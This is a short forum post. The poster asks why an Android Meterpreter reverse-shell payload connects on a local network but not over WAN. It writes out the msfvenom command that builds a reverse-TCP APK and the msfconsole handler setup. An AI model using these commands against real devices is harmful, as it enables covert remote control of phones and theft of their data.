WAN Meterpreter Session Using Msfvenom Not Working?

Hello,

So I'm trying to create a meterpterter session on my phone over WAN but it's not working. (It works fine on my local network)

I portforwarded the port 4444 to my local (linux machine) ip 192.168.1.123

Here are my portforward settings

I create the payload using msfvenom

msfvenom -p android/meterpreter/reversetcp LHOST={MY PUBLIC IP ADRESS} LPORT=4444 R >/root/FILENAME.apk

and then install it on my phone

I start the meterpreter listener

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reversetcp

set LHOST 192.168.1.123 //local ip

set LPORT 4444

exploit

An then run the app on my phone but it's not working

Help would be appreciated.
